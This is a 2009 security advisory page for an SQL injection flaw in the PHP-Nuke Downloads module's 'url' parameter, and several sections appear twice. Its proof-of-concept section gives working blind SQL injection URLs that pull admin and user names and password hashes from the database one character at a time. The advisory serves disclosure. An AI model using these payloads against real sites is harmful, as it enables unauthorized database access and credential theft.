PHP-Nuke Downloads Module 'url' Parameter SQL Injection Vulnerability
BID:33410
Info
PHP-Nuke Downloads Module 'url' Parameter SQL Injection Vulnerability
| Bugtraq ID: | 33410 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Jan 23 2009 12:00AM |
| Updated: | Jan 26 2009 08:39PM |
| Credit: | Sina Yazdanmehr (R3d.W0rm) |
| Vulnerable: |
PHP-Nuke Downloads 0 |
| Not Vulnerable: | |
Discussion
PHP-Nuke Downloads Module 'url' Parameter SQL Injection Vulnerability
The Downloads module for PHP-Nuke is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
The Downloads module for PHP-Nuke is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
Exploit / POC
PHP-Nuke Downloads Module 'url' Parameter SQL Injection Vulnerability
Attackers can use a browser to exploit this issue.
The following example URIs are available:
Admin Username :
http://www.example.com/[path]/modules.php?name=Downloads&d_op=Add&title=1&description=1&[email protected]&&url=0%2F*%00*/'%20OR%20ascii(substring((select+a
id+from+nuke_authors+limit+0,1),1,1))=ascii_code_try%2F*
Admin Password :
http://www.example.com/[path]/modules.php?name=Downloads&d_op=Add&title=1&description=1&[email protected]&&url=0%2F*%00*/'%20OR%20ascii(substring((select+p
wd+from+nuke_authors+limit+0,1),1,1))=ascii_code_try%2F*
Users Username :
http://www.example.com/[path]/modules.php?name=Downloads&d_op=Add&title=1&description=1&[email protected]&&url=0%2F*%00*/'%20OR%20ascii(substring((select+u
sername+from+nuke_users+limit+0,1),1,1))=ascii_code_try%2F*
Users Password :
http://www.example.com/[path]/modules.php?name=Downloads&d_op=Add&title=1&description=1&[email protected]&&url=0%2F*%00*/'%20OR%20ascii(substring((select+u
ser_password+from+nuke_users+limit+0,1),1,1))=ascii_code_try%2F*
Attackers can use a browser to exploit this issue.
The following example URIs are available:
Admin Username :
http://www.example.com/[path]/modules.php?name=Downloads&d_op=Add&title=1&description=1&[email protected]&&url=0%2F*%00*/'%20OR%20ascii(substring((select+a
id+from+nuke_authors+limit+0,1),1,1))=ascii_code_try%2F*
Admin Password :
http://www.example.com/[path]/modules.php?name=Downloads&d_op=Add&title=1&description=1&[email protected]&&url=0%2F*%00*/'%20OR%20ascii(substring((select+p
wd+from+nuke_authors+limit+0,1),1,1))=ascii_code_try%2F*
Users Username :
http://www.example.com/[path]/modules.php?name=Downloads&d_op=Add&title=1&description=1&[email protected]&&url=0%2F*%00*/'%20OR%20ascii(substring((select+u
sername+from+nuke_users+limit+0,1),1,1))=ascii_code_try%2F*
Users Password :
http://www.example.com/[path]/modules.php?name=Downloads&d_op=Add&title=1&description=1&[email protected]&&url=0%2F*%00*/'%20OR%20ascii(substring((select+u
ser_password+from+nuke_users+limit+0,1),1,1))=ascii_code_try%2F*
Solution / Fix
PHP-Nuke Downloads Module 'url' Parameter SQL Injection Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
References
PHP-Nuke Downloads Module 'url' Parameter SQL Injection Vulnerability
References:
References: